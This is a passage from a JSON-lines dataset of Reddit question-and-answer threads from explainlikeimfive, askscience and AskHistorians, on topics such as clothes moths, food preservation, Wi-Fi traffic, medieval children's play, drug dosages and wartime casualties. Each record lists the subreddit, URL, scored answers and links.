antagonistic muscle reactions, thus creating an imbalance of force across a joint which could allow someone to dislocate their own joints with no outside force.", "So there's plenty of examples of people breaking themselves AGAINST other objects.\n\nIf a person was just floating in water, and did not leverage one appendage against another, could they break a bone?  This seems what OP is asking.\n\nIn a healthy individual, I don't think it's possible.  Muscles don't stress the bones in directions where those bones are vulnerable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "511zt2", "title": "why do moths eat holes through clothing? what attracts them to clothing in the first place?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/511zt2/eli5_why_do_moths_eat_holes_through_clothing_what/", "answers": {"a_id": ["d78prc9", "d78xghz", "d78zj2n"], "score": [2164, 392, 24], "text": ["The moths themselves don't eat, they can't, they basically don't have mouth parts. It's the larva or caterpillar of the moths that eat the wool, fur and other natural fibers. \n\n_URL_0_", "I don't think anyone has emphasised that it's animal fiber that the larvae go for. Wool, silk and hair not cotton, linen or cellulose based fiber.  The moths evolved to seek out dead animals and live on the pelt.  Human's weaving dead animal fiber is a close enough equivalent for them. \n\nSweat, and body odour on the fibers is what attracts them so keeping silk, sweaters, suits and blankets clean before storage will help avoid attack.  They also don't like being disturbed so weekly shaking and airing of your clothes will also help keep them at bay. (source: worked in a costume store of vintage clothes)", "The moths that infest clothes and rugs of natural fibers evolved to make use of something barely any other animal can digest, hair. In itself hair isn't all that nutritious but in combination with some dirt and half-decomposed animal it's good enough for the larvae to grow on.\nSo the adult moths seek out protein fibers and prefer spots that are dark, undisturbed and contain some nutritional extras like dirt, sweat, or skin oils to lay their eggs.\n\nProtein fibers (wool, silk, horsehair, etc,) are the only nutritionally valuable things for clothes moth and carpet beetle larvae, but occasionally they try to go for other fiber too. Carpet beetles can chew through plastic bags to get to something tasty. If clothes moths live on wool that is right next to linen or cotton those items often have holes too because the moth larvae try to eat whatever is in reach. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Tineola_bisselliella"], [], []]}
{"q_id": "aissfq", "title": "how was food preserved before invention of refrigeration?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aissfq/eli5_how_was_food_preserved_before_invention_of/", "answers": {"a_id": ["eeq64ol", "eeq6ari", "eeq6vgc", "eeq6yqg"], "score": [3, 3, 2, 23], "text": ["Drying, salting or fermenting for the most part. Doing so makes the food unpalatable to the other organisms that would want to eat your food.", "Things were preserved via various methods. Drying, smoking, dry salt packing, pickling, wet salt curing, and fermentation were all common. Many cultural dishes such as Kim-chi, Sauerkraut, Pickles (of various vegetables), Jerky, Corned Beef, Pastrami, etc were all developed from these preserved foods. ", "I was told that they use to dig wholes underground and put the foods in there to keep the cool", "Salting, drying, smoking, pickling, fermenting.  A lot of foods that we look at as delicacies nowadays were invented out of necessity.  \n\nI'll eat beef jerky and ham because they're delicious, but salting, smoking, or drying meat was once a way to keep it from going bad for weeks or years.  \n\nI love jam on a piece of toast, but there's a reason they're called \"preserves.\"  Unless you had a nice cold cellar available, fresh fruit wasn't going to last long unless you could keep bacteria from getting into it.  Cooking it into a thick, sweet mixture that bacteria can't live on easily and sealing it away in a jar ensured that you could preserve the fruit.\n\nAnd I'll pickle just about anything - cucumbers, onions, tomatoes, cabbage, some fish.  There's a lot of delicious stuff that we love to use as garnishes and sides nowadays, but pickling is first and foremost a way to preserve food in acid - which doesn't hurt us much unless you have a sensitive stomach, but makes the food inhospitable to microorganisms.\n\nAnd let's not forget other forms of fermentation.  The processes that give us beer, wine, kimchi, cheese, etc.  There's a reason a bottle of wine can sit on a shelf for a decade and still taste great (depending on the wine).  So long as it's fermented properly and sealed, it's hard for any small organisms to actually cause it to spoil.\n\nDon't get me wrong, plenty of people figured out as well that \"cold food or dried food lasts longer.\"  And plenty of people built cold stone cellars, grain silos, or just put ice in a nice thick box to preserve food.  But there were also dozens of culinary means to preserve food that we still use to this day."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "cimsga", "title": "how is wireless network traffic prioritized (or not)?", "selftext": "Assuming a bunch of people are sharing a wireless network. is traffic prioritized by \u201cwho gets there first\u201d, or is it just completely equal?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cimsga/eli5_how_is_wireless_network_traffic_prioritized/", "answers": {"a_id": ["ev7lrdn", "ev86ilm"], "score": [4, 3], "text": ["Its first come first serve. The protocol itself has more to it, but there is no priority system: if a device 'hears' someone else sending, it is supposed to stay quite until there is space.", "While there are standards for priorities and adhoc methods of scheduling the transmission of packets, very few people actually use it. As such without anything explicitly set up or tagged as \"high priority\" it is first come, first transmitted.\n\nFor most people (except maybe those on fiber) their internet connection speed is slower than their wifi, so it tends to be a non-issue. Local LAN traffic like a home media server could blow it out of the water though and slow things down for everybody."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9cx1ut", "title": "Knights, princesses, dungeons, and dragons still loom large in children's pretend play. Did children of High Medieval Europe have a similar pseudohistorical analogue for their make-believe?", "selftext": "Though it may be unlikely, I hope someone contemporaneous found it worthy to note the pretend play of children! Particularly when they used settings substantially distinct from their proximate experience.\n\nI'm curious more generally about any pre-16th century society. For example, did children in the Gupta Empire pretend they were part of the Mahabharata?\n\n[Resubmitted since previous post was removed by accident]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9cx1ut/knights_princesses_dungeons_and_dragons_still/", "answers": {"a_id": ["e5ey2ur", "e5f1kym", "e5fjfo0"], "score": [39, 659, 34], "text": ["Hey there,\n\n\nIf you've come to the thread and are wondering why the comments have been removed, the reason is that, on /r/AskHistorians, we'd rather have no answer than a thread cluttered with bad answers, jokes, and people saying \"where are all the comments?\". By removing the short, quick, bad answers that would otherwise crowd them out, the well-researched in-depth answers (that take people time to research and write) are more likely to be seen ([see this graph for more detail](_URL_3_)). \n\nThis heavy moderation works: [we have found](_URL_2_) that it takes an average of 9 hours for a good answer to appear on a popular thread - properly researching and writing an answer takes time - and that 90%+ of popular threads get an answer. Additionally, it's late at night on the East Coast of the US at the moment, which means that plenty of the historians interested in this topic might already be asleep. [The last time we did a survey](_URL_1_),  75% of /r/AskHistorians subscribers approved of our moderation, while another 5% thought we should be stricter (and 15% said they didn't care).\n\nIn other words, patience, good people. If you want to be reminded to look at this thread later, [please see this really awesome Roundtable post](_URL_8_) for a list of ways. And if you're wondering why Reddit never shows you an AskHistorians thread with answers, consider sorting your Reddit home feed by 'Hot' rather than 'Best' - 'Best' seems to give precedence to newer posts (which are less likely to have an answer on this subreddit, of course) and threads you haven't already looked at (e.g., it'll show you something else next time you log in, even if this thread is still getting lots of upvotes because there's an actual answer now). \n\nIf you're wondering what's in the 24 removed top-level comments at the time of writing, the huge majority is people going \"what happened to all of the comments?\" or ironically saying \"[removed]\" or \"I want an answer\". There were a couple of genuine attempts at replies which were not to the depth and comprehensiveness required in this subreddit. The standards in [our subreddit rules](_URL_4_). All of these comments get removed on /r/AskHistorians because the huge majority of our subscribers really do want accurate, comprehensive, in-depth historical answers based on good historical practice and high-quality sources. It's amazing how many downvotes and reports an obvious shitpost can attract on a popular thread on /r/AskHistorians within minutes, thanks to our readers (if you see it, report it!) \n\nWhat makes a good answer on /r/AskHistorians? Well, we want people answering questions to be able to explain not just what the basic facts are according to academic research, [but why we know that these basic facts are right, and to put those basic facts into context](_URL_0_). This is why we encourage [the use of primary and secondary sources in answering questions](_URL_4_#wiki_sources), rather than tertiary sources like Wikipedia, podcasts and textbooks.\n\nUnfortunately, the downside of encouraging in-depth and comprehensive answers is that we have to remove a lot of shitposts and comments wondering what happened to the removed shitposts. The upside, however, is that our contributors consistently post amazing stuff to /r/AskHistorians (which we collate the best of every week in our [Sunday Digest](_URL_5_)), and daily on [our Twitter](_URL_7_). Alternatively, if you want to discuss history without these constraints, /r/history or /r/askhistory might be more appropriate subreddits for you than /r/AskHistorians. \n", "In the medieval Latin west, the interaction of imagination, play, and what OP calls \"pseudohistory\" isn't necessarily the same as today. That's compounded by the difficulty of accessing children's play in history, when the sources are silent material (a ball! ...great, what did they do with it?) or written by adults with an agenda (even schoolbook exercises that seem to be children's own words may well have been copied from an adult-authored exemplar). Nevertheless, there is evidence that the \"imagination worlds\" of medieval children drew on biblical and early Church/hagiographical ideas as well as current events and imitation of adults.\n\nFirst I want to talk about the idea of shared imagination worlds in the medieval west more broadly, and then we'll look at whether and how we can apply this to children and children's play.\n\nRichard Slotkin coined the term \"mythic space\" to describe a \"pseudo-real\" setting immediately recognizable to members of a given culture whose appeal draws on values and myths deeply embedded in that culture. A great one (and not only because it's his pet) is the American \"Wild West\"--you have an instant picture in your mind of what I mean by that, right? One of the most popular questions we get at AH is \"Was the Wild West really that wild?\" The frontier, self-made men, racialized bad guys to fight, \"men were real men and women were real women\",  & c. That's a powerful American mythic space. For kids, the princess-hat-and-plastic-sword fairy tale land is another mythic space. (At AH, we talk about \"historical authenticity\" sometimes with respect to video games and movies--what is actually historically *accurate* often doesn't \"feel right\" because we have such strong conceptions of how the past \"ought to\" be due to pop culture).\n\nMedieval people constructed a *very* strong mythic space of the biblical era and era of the early Church martyrs. It was shared via sermons, via texts for those who could read, but above all through art and eventually drama. We're talking about a different type of pseudohistorical/pseudoreal than modern-day \"fairy tale land\"--here, the *period* being accessed is real, the geographic places existed (in the case of the most popular martyrs, were probably not persecuting Christians and those martyrs were also, er, pseudo-real), but the accoutrements of it--clothing, physical setting--are contemporary. \n\nBut perhaps the most important departure of our modern mythic spaces from the Middle Ages' biblical/martyrological mythic space is that ours is normatively observational. Theirs was participatory. Yes, for adults.\n\nBy the late Middle Ages, so many popular Christian devotions turned around the idea of collapsing time between sacred mythic space (primarily Jesus' lifetime) and the present. A major prayer practice that began in monasteries but spread to the literate *and illiterate* public was a meditative/imaginary self-insertion into the Nativity or Passion story. The reader/listener was encouraged to envision themselves standing at the foot of the cross with Mary Magdalene, wiping down the wounds of the dead Christ with his mother, talking to John the Baptist, and so forth. The goal was to do this in such a ruminating and contemplative manner that it would actually manifest to the person as a visionary experience.\n\nOther devotions more directly approached what we might call \"holy LARPing.\" The most prominent of these was *imitatio Mariae*, or imitating Mary with the infant Jesus. Women in particular would dress up dolls as Jesus and practice devotions like cradle-rocking, mock-breastfeeding, and dressing the doll/laying him to bed. In Germany, this was particularly associated with nuns; in England before the Reformation, lay women were known to do the same thing with dolls and images. (As Protestantism took over, apparently younger girls inherited most of those formerly-sacred objects and played with them as, you know, toys).\n\nAnd this could be LARPing to the extreme--in addition to a handful of miraculous lactation stories of various women (men, on the other hand, preferred to have visions of themselves \"breastfeeding\" from Christ's side wound, which in medieval art [happened to look like a vagina](_URL_0_) so you do you, celibate monk), Dominican nun Christine Ebner apparently experienced a sympathetic *pregnancy*.\n\nA third way medieval adults got to act in imagined/mythic space was through drama. Toss out your notions of Shakespearean theatre and acting companies. Medieval actors were almost always amateurs. In late medieval cities, usually parish guilds and craft guilds were responsible for annual performances of certain stock types of religious play (Passion plays, miracle plays, etc). They would get to act out the parts of pseudo-historical/pseudo-real biblical and saint heroes, as well as peripheral figures like demons and angels.\n\nOf course, what I've described above in most cases isn't *play*, although when you have devils literally farting around onstage and hellmouths on wheels following around horses onstage, there is definitely a spirit of play involved. But it shows the power and *prevalence* of mythic space in medieval life. Imagination worlds weren't compartmentalized like modern culture tries so hard to make them (and cosplayers are like, \"yeah, about that--no.\"). You could point to knights showing up to tournaments dressed as Arthurian characters for a secular example, too.\n\nSo how do we apply this to children?\n\nWell, it's tough to get at children's imagination games. The scant accounts really aren't helped by the fact that the authors purportedly reporting their own or a saint's childhood, are *really* coming in with an angle here. When Gerald of Wales says his brothers would build and play with sandcastles but he built a sand monastery for himself, are your eyebrows going to raise a little? When the Greek hagiographer says his saint, as a little boy, only wanted to play priest and pretend to dispense sacraments, are you just a *tad* suspicious that this isn't the whole story? Right.\n\nBut let's go back to the mythic space idea, in particular, the nature of it as *shared*. That means the nature of it as communicated more or less evenly to members of a culture. I mentioned \"fairy tale land\" for our faux Middle Ages; Western movies and TV series are probably the big deal for the Wild West mythic space. In the Middle Ages, the two biggest contributing factors were art and drama. For example, I think I've mentioned before on AH how Frank Tobin showed that Mechthild of Magdeburg's visions of the apocalypse owed much to contemporary German drama of her time (late 13th century). And art cycles shaped, for example, the visions of heaven of Mechthild of Hackeborn as well as building on themselves. (How do you think the 'mouth of hell' became an actual *mouth*? As in, [with teeth and eyes](_URL_1_)?)\n\nSo what we have, among the tiny scraps of evidence, are a few records (unfortunately by adults) of visions reported by children. Usually these come in miracle stories, which lends a degree of plausibility to the *story being told* (regardless of whether the event being described is a miracle/what actually happened). As Nicholas Orme showed, these visions' depiction of good guys/saints hews very closely with portrayals of saints and angels in medieval church art. Bad guys tend to draw more on what we might consider folk tales or even ghost story-type tales. This isn't play, once again, of course. But it shows that children's \"imagination worlds\" drew on the same mythic spaces that their parents inhabited--indeed, that they inhabited, too.\n\nThere *is*, for once, reasonable evidence that medieval children did play pretend, including both \"adult facsimile\" versions (like playing house or office or whatever) and event recreation. English chronicler Adam Usk reported herds of boys acting out battles surrounding the downfall of Richard II months after its occurrence. Or in 1554 (I know that's late, sorry), a Spanish visitor to London observed children acting out Wyatt's Rebellion.\n\nOverall, I'm not sure how much we could trust any individual report of a medieval child \"playing saint.\" However, putting all of the other pieces together--the overwhelming importance of mythic space in medieval life, the influence of art and drama on adult and child minds, children's playing pretend--there's a good case to be made that medieval children played pretend in their mythic spaces as we have all done in ours.", "A great question answered with typical authority and thoroughness by the esteemed /u/sunagainstgold. I concur with what she has written here. I offer an additional, minor observation: what we regard as the fantasy world of fairy tales, a world filled with dragons, ogres, and fairies, was a very real place for the medieval mind. They certainly made the distinction that pre-modern people made that differentiated the folktale - fictional accounts placed in remote places or times - from legends - accounts of things that were believed as really happening. But the fantastic players - what we dismiss as the \"supernatural\" - were very much part of the real world. They were extraordinary and they were dangerous, but they weren't relegated to a fantasy world as might occur today when a child pretends to play at killing a dragon. This is a small point and it doesn't affect anything that /u/sunagainstgold has to say. It's just a point worth considering. It's not unlike modern children playing roles in a Wild West setting: they don't say to themselves, \"we know this isn't real, but it is fun.\" Those child actors in epic drama-play believe in the setting and in the villains needing to be dispatched. When a child today plays at killing a dragon, it is more likely that child knows that there is a departure from reality. Whatever medieval children were doing, they were more likely to believe the context along the lines of modern play in the Wild West."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_write_an_in-depth_answer", "https://www.reddit.com/r/AskHistorians/comments/5fx1xc/census_500k_results/", "https://www.reddit.com/r/AskHistorians/comments/7s66yf/a_statistical_look_at_askhistorians_in_2017_part_i/", "https://www.reddit.com/r/dataisbeautiful/comments/64y44g/the_mostupvoted_comments_in_reddit_threads_arent/#", "https://www.reddit.com/r/AskHistorians/wiki/rules", "http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Sunday+Digest%22&amp;restrict_sr=on&amp;sort=new&amp;t=all", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_sources", "http://www.twitter.com/AskHistorians", "https://www.reddit.com/r/AskHistorians/comments/8p0s9b/roundtable_21_be_kindremind_the_mod_approved/"], ["https://imgur.com/a/J6pXPfr", "https://upload.wikimedia.org/wikipedia/commons/thumb/0/0a/Hellmouth.jpg/1024px-Hellmouth.jpg"], []]}
{"q_id": "czqmch", "title": "Does urbanization in previously Desert areas cause an increase in rainfall?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/czqmch/does_urbanization_in_previously_desert_areas/", "answers": {"a_id": ["ez3khxw"], "score": [4], "text": ["No it doesn't. \n\nDesert areas are as such because of their geographical position in relation to the Earth's [latitude](_URL_0_).\nDeserts are found along 30\u00b0 North and South of the equator while others originated due to their positioning close to mountain ranges that can lead a 'rainshadow effect'."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sliderbase.com/images/referats/486b/\\(10\\).PNG"]]}
{"q_id": "43lfx9", "title": "Is it possible to create a solution with a net charge?", "selftext": " Is there any way to isolate either an anionic or a cationic species in solution and then remove it? The only way I can think of removing a charged particle is by adding an equal amount of oppositely charged particles and reacting them out or by using a magnetic field and removing samples from one part of the solution.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/43lfx9/is_it_possible_to_create_a_solution_with_a_net/", "answers": {"a_id": ["czja73g"], "score": [4], "text": ["Yes, one of the ways to do this is through [electrospray ionization](_URL_0_). However, if a droplet becomes too charged, it explodes due to the repulsion of the remaining charge. This is called Coulomb explosion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Electrospray_ionization"]]}
{"q_id": "4pm6f0", "title": "how did scientists discover what each nutrient did in the body?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4pm6f0/eli5_how_did_scientists_discover_what_each/", "answers": {"a_id": ["d4m2u1v"], "score": [4], "text": ["Through animal studies. For example, the role of Vitamin C was discovered when they put guinea pigs on a diet based on grains, and the animals suffered from scurvy - a disease which wasn't fully understood at that point. They found out that adding vegetables cured the symptoms, which meant that one substance which is present in all those vegetables but not the grains. It took decades of more research, but eventually they could prove that Vitamin C was the substance that prevented and cured scurvy.\n\nIt was similar with the other vitamins. They exposed animals to diets which would cause certain diseases, and then systematically changed the diet until they found a solution to the problem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3tmtp6", "title": "- drug dosage rates", "selftext": "How come these vary so much?\n\nFor example, why do some prescription/over the counter drugs say \"eat with food\", yet others \"Take with water\". Why are some having you taking 2 pills every 4 hours and others have you taking 4 pills every 6 hours.\n\nWhy the variation? Who decides this? Is the FDA involved? How do they test dosages to make sure its non-lethal, but effective? Is there any reason why I should take a pill with food?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tmtp6/eli5_drug_dosage_rates/", "answers": {"a_id": ["cx7jja1"], "score": [2], "text": ["The food thing has to do with solubility. Some medicines dissolve in water, others dissolve in oil/fats/etc.. If the pill is in the second category, they'll suggest you take it with food so that your body can absorb it better.\n\nAs for dosages, the answer is partly that every drug requires different amounts to be effective (eg. 20 micrograms of Tylenol won't even begin to affect you, while 20 micrograms of LSD will make you think the walls are breathing) - and at the same time, a lot of it is just based on business and marketing decisions. For example, baby aspirin, regular aspirin, and Extra Strength aspirin are all the same thing - they just change the amount in each pill so they can target different types of people.\n\nAnd, yeah, there's a ton of testing and government approval that happens behind the scenes to figure out the ranges of effective and lethal doses. That's most of the reason that you'll hear about a cool new drug this week, but you won't see it on the market for another ten years. Tons and tons of testing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5fpct7", "title": "It seems that Western nations did not have a problem sustaining immense casualties during the two world wars, but nowadays those same nations are very casualty averse. What prompted this shift in values? Did the Vietnam conflict play a role?", "selftext": "Perhaps WW2 was a bit different because it was a \"war for survival\" (as FDR put it), but The Great War also saw casualties that were simply unimaginable today. Imagine the reaction today if Britain lost over 700,00 soldiers in the Gulf War, for example.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5fpct7/it_seems_that_western_nations_did_not_have_a/", "answers": {"a_id": ["damv6n6", "damw5ld", "dan44wu", "dan5nq0", "dame3uo", "dammif1", "dammpkz", "damqmgp"], "score": [26, 28, 5, 5, 105, 5, 422, 89], "text": ["This may be begging the question. Are we *sure* Western nations are as casualty averse as you are assuming? I wonder if it only seems so because of the smaller scale of the conflicts we have seen since 1945. This hesitance to sustain heavy losses may well evaporate in the event of a WWIII.    ", "Isn't it a reasonable statement that the public's perceived importance of the war affects its expected costs (not at all specifically quantified)? As you already allude to regarding World War 2, when the stakes are higher a higher cost is expected. \n\nI know what you're getting at in your question, but you also seem to gloss over that very important piece of context you yourself mentioned. Would you consider any of the conflicts fought by \"Western\" nations since World War 2 to have stakes anywhere close to as high as that war?\n\nIntuitively this distinction should be very clear. For example, if the United Kingdom was, in 1989, to become embroiled in a conventional invasion of Western Europe by the Soviet Union, the public would view this as a matter of imminent importance to the state and therefore would be willing to accept much higher gross casualty numbers, right? \n\nWorld War I and World War II could arguably be placed in similar context as the above hypothetical situation; to simplify, the state went to war to prevent European domination by a power unfriendly to Britain. The stakes were higher, and, as the wars grew longer, continued to become higher as the hypothetical cost of defeat became ever greater (the longer a country is at war and the more resources it expends, it may demand greater restitution from the defeated).\n\nWhereas, if the operation was, say, defending peacekeeping efforts and targeting warlord forces in a fragmented distant third-world country like Somalia, the sudden and shocking loss of 19 soldiers would not be viewed as an acceptable cost. The general ambivalence of the public to such a cause meant that they were extremely reluctant to pay any cost, even a \"low\" (no disrespect to the fallen) one like 19 lives.\n\nFor an older example of that phenomenon, we can look at the Boer War. Fought from 1899 to 1902 in South Africa, it was a war fought against the Transvaal republics, ending in their eventual incorporation into South Africa. There were about 22,000 dead from that war, much lower than the millions of the later World War 1, but because of the nature of the war, it was to a nontrivial degree unpopular in Britain and more so in the Commonwealth countries.\n\nThe public's discontent with Vietnam is a very popular topic and has been well-studied already. Some of the main issues were the implementation of the draft and the perceived irrelevance of South Vietnam to the United States' interests. The discontent only grew as losses mounted because the costs had already far surpassed the \"budgeted\" expectations of the conflict.\n\nWe can't really tell for sure if Western standards have changed -- we simply have not fought a war even approaching the stakes of World War 2. Since we can't really come to any conclusion due to great contextual differences between the compared conflicts, we also can't rightly say there has a been a shift in values.\n\nAnd, aside from the great variance of objective of conflict, there are also expectations derived from the public's perception of \"power\" or \"technology\". The Boer republics, Vietnam, and Iraq were (intuitively) not viewed as able to present the same resistance as, say, Germany or Russia.", "I think you are asking us to compare apples to oranges. WWII (and WWI to a lesser degree) posed an existential threat to the very sovereignty of most of the nations involved. \n\nOne of the reasons the American public withdrew their support of the Vietnam war was it was sold as an existential threat but quickly revealed itself to be a proxy war. \n\nDefending the very nation you are from is much different from defending your 'national interests'. \n", "I'm not able or qualified to answer this from a military perspective, but from a social perspective. Our attitudes about the preciousness of life has changed drastically over the past 100 years. Just over 100 years ago children died with far greater frequency than they do today. They died from work related accidents on farmers and in mines and factories. They died from many communicable diseases that we vaccinate or treat with penicillin today.  As a consequence, families tended to be much larger. So if you had to send a son off to war to \"defend your country,\" that was more of an acceptable loss. Now, so many families have fewer children, and even fewer sons, that every lost life makes a huge impact on that family. I'm not saying that people didn't love their children or grieve their loss, they certainly did. But young people's deaths weren't as shockingly rare and unusual as they are today.", "As a bit of a follow-up question and a possible answer, what was the reporting of the time like? \n\nToday if 1 soldier dies in Afghanistan it will take up a few seconds of the evening news. During WW1/2 were newspapers and radio programs releasing fatality statistics on a regular basis?", "As follow up questions:\n\nAround those same periods, we saw a shift away from relying on draft-style recruiting. Why?\n\nAnd what role, if any, did the above have on the OP's question?", "I don't think it can be truthfully said that Western nations did not have a problem sustaining immense casualties. Speaking from the Canadian perspective, the sheer number of men thrown into action was the subject of intense debate during the First World War. In fact, the 1917 election was basically all about it. The Borden Union Government was formed out of the conscription debate as a brilliant move by Borden to revive the factionally divided politics of the time.\n\n >  ...[C]onscription was the big issue; it acted as a solvent on Liberal Party bonds while it brought together an amazing array of political talent in the Union Government. It was the dominant issue before the electors at the polls. In all the provinces of Canada was sentimentalized and exaggerated; it was screamed from the hustings and thundered from the pulpits. Those against it were \"cowards and traitors\" and those for were \"autocrats worse than the Kaiser.\" ^1\n\nIt was an incredibly divisive issue. There were many who openly and adamantly opposed it. Canadian Nationalists published a book called \"The Case Against Conscription\" in 1917, I believe that Henri Bourassa's sectionm *\"Win the War,\" And Lose Canada* summarizes a lot of the sentiments that opponents of conscription felt. There were serious arguments over whether pouring more men into Europe was the most effective course of action. Bourassa's book puts particular emphasis on agriculture and a lack of obligation to the European continent. Even today there is historical argument over the merits of conscription policies.\n\nSo I do not think it is, as you put it, \"a shift in values\" (at least in the case of Canada). There has always been a certain aversion to the loss of life in Canadian politics.\n\n---\n\n^1 Willms, A. M. \"Conscription, 1917: A Brief for the Defence.\" Canadian Historical Review 37, no. 4 (1956): 338-51. Accessed November 30, 2016. doi:10.3138/chr-037-04-02.\n\n", "Let's go back to 1914. I'll talk a bit more about Germany because it's the one I can quote more about.\n\nJust a few decades earlier Germany had achieved unification and had defeated France at war (1870-1871). That war had been quick (less than a year), Germany under Wiliam II had improved its navy (in what was known as *Weltpolitik*), the Industrial Revolution ha brought more deadly weapons and nationalism was popular among Germans. \n\nCome 1914, there was a consensus of support around the war: \"The great majority of German's leading writers, artists, composers, and academic scholars were passionately engaged in support of the war effort.\" (Chickering, p. 132). In France the president, Raymond Poincar\u00e9, called for a \"Uni\u00f3n Sacr\u00e9e\" (Holy Union), calling the different parties to forget its differences in order to protect France. \n\nHowever the war proved to be far more deadly than expected. To put in context, 124 deaths per 1000 pre-war male population in Germany, 161 in France, 252 in Austria-Hungary. Russia lost more than 5000000 civilians during the war. (Chickering, 192. Disclaimer: the autor advises caution with these figures since collecting war statistics, he argues, was difficult). That's massive. There were mutinies among French divisions. Germany had to endure a war economy: food was rationed, prices were frozen, the cold weather of 1916 and 1917 destroyed potato crops, coal production went down (10% less 1917 than it was before the war).\n\nAfter the war a sentiment of pacifism appeared and grew in popularity, specially among the winners (France, the U.K.). Already Russia had quit the war in 1917, the revolutionary government being opposed to it. This sentiment was called among French the \"der des der\" (la derni\u00e8re des derni\u00e8res, the last of the last wars). Paul Kennedy explains that there were already politicians talking about an organisation where States will meet and solve their differences: Robert Cecil in the UK or, of course, Woodrow Wilson. This would came into existence in what was the League of Nations (LoN).\n\nNonetheless the treaty of Versailles, which also gave birth to the LoN, was seen as a \"diktat\", as something enforced shamefully, in Germany (Italy wasn't too happy about it either). This, among other factors, lead into WWII. And then again, we need to remember that war was unpopular in both France and the UK before WWII: the Front Populaire (France's left coalition that ruled between 1936 and 1938) refused to send troops to Spain during the Civil War, Neville Chamberlain returned celebrating to the UK after [the Munich conference](_URL_0_) saying how he had Hitler's promise to promote peace. Governments were already \"allergic\", to say it this way\", to war. \n\n >  Did the Vietnam war play a role in this?\n\nWhy there is less war nowadays, specially among Great Powers, than before may be a question better suited for r/AskSocialScience. The Vietnam war played a role on this: it spawned massive protests. The euro-missiles crisis of 1983 also shows that opposition to war is important.\n\nTL;DR: In conclusion, although this topic would benefit of a more extended study, the lethality of WWI and the costs it provoked had already created an aversion fo governments and people towards war. \n\nSources: George Chickering (2004), *Imperial Germany and the Great War, 1914-1918*. Second Edition, Cambridge University Press.\n\nMichael Sturmer (2000), *The German Empire, 1870-1918*, The Modern Library. \n\nPaul Kennedy (2006), *The Parliament of Man*, Random House Mondadori."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://youtu.be/wKA-lhWFbsE?t=113"]]}
{"q_id": "u26xb", "title": "Would using a \"metabolism boosting\" drink as a chaser,for shots, cause you to become drunk faster? Or sober up faster?", "selftext": "I have a Crystal Light packet that has a metabolism boost in it, and I want to use it as my chaser tonight. He thinks it will make me drunk faster. I think, if it does anything at all, it will sober me up faster. Since we can't agree we're leaving it up to you.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/u26xb/would_using_a_metabolism_boosting_drink_as_a/", "answers": {"a_id": ["c4rqo9w"], "score": [2], "text": ["Depending on what you normally use to mix your drinks, the Crystal Light will actually cause you to get drunk faster. The reason is artificial sweeteners cause your body to absorb alcohol faster. \n\nNow for the metabolism boost part of it, I'm unaware of what chemicals they are purportedly using to accomplish this, but I'm guessing they will have little to no impact on alcohol metabolism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "14cghs", "title": "How did Londinium survive after the fall of Rome?", "selftext": "With all the wealth that was there, it strikes me as odd that Londinium wasn't a prime target for pillaging after the end of Roman protection in the region. I asked my AP European History teacher about this, and his answer (albeit rushed, as he had to go someplace) was basically \"why sack what you can control?\" Can anyone give me a more detailed explanation of what happened to Londinium?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/14cghs/how_did_londinium_survive_after_the_fall_of_rome/", "answers": {"a_id": ["c7bw33c"], "score": [6], "text": ["It was effectively abandoned after the Romans left. It wasn't until the Anglo-Saxons moved in in the 6th century that the town became more populated. Initially, the Anglo-Saxons created their own town (Lundenwic) instead of using London proper. \n\nEstimated have that London dropped from ~50,000 people to under 5,000.\nSource: _URL_1_\n_URL_0_\n\nA big problem with the area is that very little is known from the Romans leavings until around the year 600. It was not until the English Heptarchy really took form that information starts to spring up.\n\nSomething interesting to note is that the area around London was largely ignored by the Anglo-Saxons upon their initial arrival. While other parts of the country saw them come over readily, the area around London didn't. Unfortunately, I cannot offer an explanation why. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.londononline.co.uk/factfile/historical/", "http://www.demographia.com/dm-lon31.htm"]]}
